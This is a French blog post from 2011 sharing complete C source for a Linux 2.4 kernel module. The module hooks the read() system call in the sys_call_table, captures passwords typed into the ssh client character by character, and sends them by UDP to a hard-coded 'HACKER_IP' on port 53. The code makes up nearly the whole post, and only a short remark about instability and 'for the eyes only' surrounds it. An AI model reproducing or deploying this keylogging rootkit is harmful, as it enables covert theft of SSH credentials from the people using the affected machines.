Accueil Linux kernel 2.4 module : spy ssh client
Post
Annuler

Linux kernel 2.4 module : spy ssh client

Toujours dans la catégorie oldies comme le code précédent, l’exemple suivant permet de récupérer un mot de passe saisi depuis le client ssh et de le transmettre par UDP vers une machine distante.

L’idée m’était venue en lançant un strace sur ssh et en remarquant que la lecture du pass se faisant caractère par caractère à l’aide de read() sur un périphérique tty.

Solution : hooker l’appel système read() et si le processus en cours s’appelle ssh mettre en application tout ça :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/unistd.h> /* __NR_close */
#include <linux/smp_lock.h> /* unlock_kernel */
#include <linux/syscalls.h> /* sys_close */
#include <linux/types.h> /* ssize_t... */

/* j'ai pas fait le tri */
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/dcache.h>

#include <linux/net.h>
#include <linux/in.h>
#include <linux/socket.h>
#include <asm/uaccess.h>
#include <linux/fs.h>

#define HACKER_IP 0xc0a80103 /* put your ip address in hexa. ex: 192.168.1.3 => 0xc0a80103 */
#define SOURCE_PORT 1337
#define DEST_PORT 53

void **sys_call_table;
static int i=0;
char passwd[41];

asmlinkage ssize_t (*orig_read)(unsigned int fd, char *buf, size_t count);

int sendUDP(char *msg)
{
  struct msghdr udpmsg;
  mm_segment_t oldfs;
  struct iovec iov;
  struct sockaddr_in sin;
  struct sockaddr_in sout;
  struct socket *udpsock;
  int err;

  if(sock_create(PF_INET, SOCK_DGRAM, 0,&udpsock)<0)return -1;
  printk(KERN_INFO "sock created\n");

  memset(&sin,0,sizeof(sin));
  sin.sin_port=htons(SOURCE_PORT);
  sin.sin_family=AF_INET;
  sin.sin_addr.s_addr=htonl(INADDR_ANY);

  if(udpsock->ops->bind(udpsock,(struct sockaddr*)&sin,sizeof(struct sockaddr))<0)
  {
    sock_release(udpsock);
    printk(KERN_INFO "bind error\n");
    return -1;
  }
  printk(KERN_INFO "bind ok\n");

  iov.iov_base=(void*)msg;
  iov.iov_len=strlen(msg);

  memset(&sout,0,sizeof(sout));
  sout.sin_port=htons(DEST_PORT);
  sout.sin_family=AF_INET;
  sout.sin_addr.s_addr=htonl(HACKER_IP);

  memset(&udpmsg, 0, sizeof(struct msghdr));
  udpmsg.msg_name=&sout;
  udpmsg.msg_namelen=sizeof(sout);
  udpmsg.msg_iovlen=strlen(msg);
  udpmsg.msg_iov=&iov;
  udpmsg.msg_control=NULL;
  udpmsg.msg_controllen=0;
  udpmsg.msg_flags=MSG_DONTWAIT|MSG_NOSIGNAL;

  oldfs=get_fs();
  set_fs(KERNEL_DS);
  err=sock_sendmsg(udpsock,&udpmsg,strlen(msg));
  printk("err=%d\n",err);
  set_fs(oldfs);
  sock_release(udpsock);

  return 0;
}

asmlinkage ssize_t my_read(unsigned int fd, char *buf, size_t count)
{
  ssize_t ret;
  struct file *f;

  ret=orig_read(fd,buf,count);
  if(strlen(current->comm)==3)
  {
    if(strncmp(current->comm,"ssh",3)==0)
    {
      if(fd>2 && count==1)
      {
        f=fget(fd);
        if(f)
        {
          if(f->f_dentry)
          {
            if(strncmp(f->f_dentry->d_name.name,"tty",3)==0)
            {
              printk("%c",buf[0]);
              passwd[i]=buf[0];
              if(i>=40)
              {
                passwd[40]='\0';
                sendUDP(passwd);
                i=0;
              }
              else if(buf[0]=='\n')
              {
                passwd[i]='\0';
                sendUDP(passwd);
                i=0;
              }
              else i++;
            }
          }
        }
      }
    }
  }
  return ret;
}

unsigned long **find_sys_call_table(void)
{
   unsigned long **sctable;
   unsigned long ptr;
   extern int loops_per_jiffy;

   sctable = NULL;
   for (ptr = (unsigned long)&unlock_kernel;
        ptr < (unsigned long)&loops_per_jiffy;
        ptr += sizeof(void *))
   {
      unsigned long *p;
      p = (unsigned long *)ptr;
      if (p[__NR_close] == (unsigned long) sys_close)
      {
         sctable = (unsigned long **)p;
         return &sctable[0];
      }
   }
   return NULL;
}

int init_module(void)
{
  printk(KERN_INFO "hook loaded\n");
  sys_call_table=(void**)find_sys_call_table();
  if(sys_call_table!=NULL)
  {
    printk(KERN_INFO "sys_call_table=%p\n",sys_call_table);
    printk(KERN_INFO "__NR_read=%d\n",__NR_read);
    printk(KERN_INFO "sys_call_table[__NR_read]=%p\n",sys_call_table[__NR_read]);
    orig_read=(asmlinkage ssize_t(*)(unsigned int,char *,size_t))(sys_call_table[__NR_read]);
    sys_call_table[__NR_read]=my_read;
  }

  return 0;
}

void cleanup_module(void)
{
  if(sys_call_table!=NULL)
  {
    sys_call_table[__NR_read]=orig_read;
  }
  printk(KERN_INFO "hook unloaded\n");
}

De mémoire, c’était loin d’être stable (le système finissait par planter) donc à utiliser à vos risques et périls.

Pour les yeux uniquement comme disent certains.

Published January 11 2011 at 17:35

Cet article est sous licence CC BY 4.0 par l'auteur.